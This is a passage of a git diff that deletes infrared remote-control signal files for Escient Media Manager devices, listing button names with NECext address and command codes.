parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: <<_/BACKSPACE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 22 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 26 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: I._RADIO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: I_RADIO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2B 00 00 00 -# -name: ADD_FAVORITES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: FAVORITES_MUSIC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: FAVORITES_ADD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: PLAY_FAVORITES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: FAVORITES_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: FAVS_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: FAVORITES_RANDOM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: AE 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: AE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: AE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: BF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir deleted file mode 100644 index 9035dffca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/2,22.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 09 00 00 00 -# -name: CH/PAGE_- -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 11 00 00 00 -# -name: MENU_-_SETUP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 12 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 13 00 00 00 -# -name: GUIDE_TOGGLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 14 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 16 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 18 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 1B 00 00 00 -# -name: VIEW_TOGGLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 1C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 1C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 21 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 25 00 00 00 -# -name: MENU_-_MOVIES -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 26 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 28 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 29 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 2B 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 2C 00 00 00 -# -name: ADD_TO_FAVORITES -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 2D 00 00 00 -# -name: JUKEBOX_PLAY -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 2E 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 32 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 32 00 00 00 -# -name: MENU_-_PHOTOS -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 34 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 41 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 42 00 00 00 -# -name: PLAYMODE-NORMAL -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 43 00 00 00 -# -name: PLAYMODE-RPT_TRACK -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 44 00 00 00 -# -name: PLAYMODE-RPT_TITLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 45 00 00 00 -# -name: PLAYMODE-RPT_GROUP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 46 00 00 00 -# -name: PLAYMODE-RAND_TITLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 47 00 00 00 -# -name: PLAYMODE-RAND_GROUP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 48 00 00 00 -# -name: VIEW_BY_ARTIST -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 49 00 00 00 -# -name: VIEW_BY_TITLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4A 00 00 00 -# -name: VIEW_BY_SONG -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4B 00 00 00 -# -name: VIEW_BY_COVER -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4C 00 00 00 -# -name: PLAYER -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir deleted file mode 100644 index 5df2345bb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/3,22.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 09 00 00 00 -# -name: CH/PAGE_+ -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 0D 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 11 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 13 00 00 00 -# -name: MENU_-_HOME -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 14 00 00 00 -# -name: OPENGLOBE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 15 00 00 00 -# -name: TOGGLE/EXIT -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 15 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 15 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 16 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 17 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 17 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 1A 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 1B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 21 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 22 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 22 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 26 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 28 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 29 00 00 00 -# -name: MENU_-_RHAPSODY -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2A 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2B 00 00 00 -# -name: MENU_-_MUSIC -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2C 00 00 00 -# -name: JUKEBOX_ADD -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2D 00 00 00 -# -name: PLAY_FAVORITES -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2F 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 30 00 00 00 -# -name: MACRO -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 31 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 33 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 41 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 42 00 00 00 -# -name: PLAYMODE-NORMAL -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 43 00 00 00 -# -name: PLAYMODE-RPT_TRACK -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 44 00 00 00 -# -name: PLAYMODE-RPT_TITLE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 45 00 00 00 -# -name: PLAYMODE-RPT_GROUP -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 46 00 00 00 -# -name: PLAYMODE-RAND_TITLE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 47 00 00 00 -# -name: PLAYMODE-RAND_GROUP -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 48 00 00 00 -# -name: VIEW_BY_ARTIST -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 49 00 00 00 -# -name: VIEW_BY_TITLE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4A 00 00 00 -# -name: VIEW_BY_SONG -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4B 00 00 00 -# -name: VIEW_BY_COVER -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4C 00 00 00 -# -name: PLAYER -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir deleted file mode 100644 index cdb0f359e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/33,184.ir +++ /dev/null @@ -1,464 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 09 00 00 00 -# -name: Q -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 22 00 00 00 -# -name: W -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 23 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 24 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 25 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 26 00 00 00 -# -name: Y -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 27 00 00 00 -# -name: U -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 28 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 29 00 00 00 -# -name: O -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 2A 00 00 00 -# -name: P -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 2B 00 00 00 -# -name: CAPS_LOCK_ON -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 31 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 32 00 00 00 -# -name: S -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 33 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 34 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 35 00 00 00 -# -name: G -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 36 00 00 00 -# -name: H -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 37 00 00 00 -# -name: J -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 38 00 00 00 -# -name: K -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 39 00 00 00 -# -name: L -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 3A 00 00 00 -# -name: CAPS_LOCK_OFF -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 41 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 42 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 43 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 44 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 45 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 46 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 47 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 48 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 80 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 81 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 82 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 83 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 85 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 86 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 87 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 88 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: 89 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: A8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: AA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: AB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: BA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: C1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: C2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: C3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: C4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: C5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: C6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: C7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 21 B8 00 00 -command: C8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir deleted file mode 100644 index 59624f0fb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Media Manager/4,22.ir +++ /dev/null @@ -1,434 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 09 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0C 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0D 00 00 00 -# -name: CH/PAGE_+ -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 11 00 00 00 -# -name: SETUP/SLEEP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 12 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 12 00 00 00 -# -name: MENU_-_SETUP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 12 00 00 00 -# -name: OPTION/INPUT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 13 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 14 00 00 00 -# -name: GUIDE_TOGGLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 14 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 15 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 17 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 18 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 18 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 19 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 19 00 00 00 -# -name: ARROW_SELECT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1B 00 00 00 -# -name: MENU/VIEW -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1C 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 20 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 21 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 26 00 00 00 -# -name: MENU_-_MOVIES -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 26 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 27 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 28 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 29 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2A 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2B 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2B 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2C 00 00 00 -# -name: ADD -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2D 00 00 00 -# -name: ADD_TO_FAVORITES -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2D 00 00 00 -# -name: JUKEBOX_PLAY -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2F 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 30 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 32 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 33 00 00 00 -# -name: MENU_-_PHOTOS -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 34 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 41 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 42 00 00 00 -# -name: PLAYMODE-NORMAL -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 43 00 00 00 -# -name: PLAYMODE-RPT_TRACK -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 44 00 00 00 -# -name: PLAYMODE-RPT_TITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 45 00 00 00 -# -name: PLAYMODE-RPT_GROUP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 46 00 00 00 -# -name: PLAYMODE-RAND_TITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 47 00 00 00 -# -name: PLAYMODE-RAND_GROUP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 48 00 00 00 -# -name: VIEW_BY_ARTIST -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 49 00 00 00 -# -name: VIEW_BY_TITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4A 00 00 00 -# -name: VIEW_BY_SONG -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4B 00 00 00 -# -name: VIEW_BY_COVER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4C 00 00 00 -# -name: PLAYER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4D 00 00 00 -# -name: GUIDE -type: 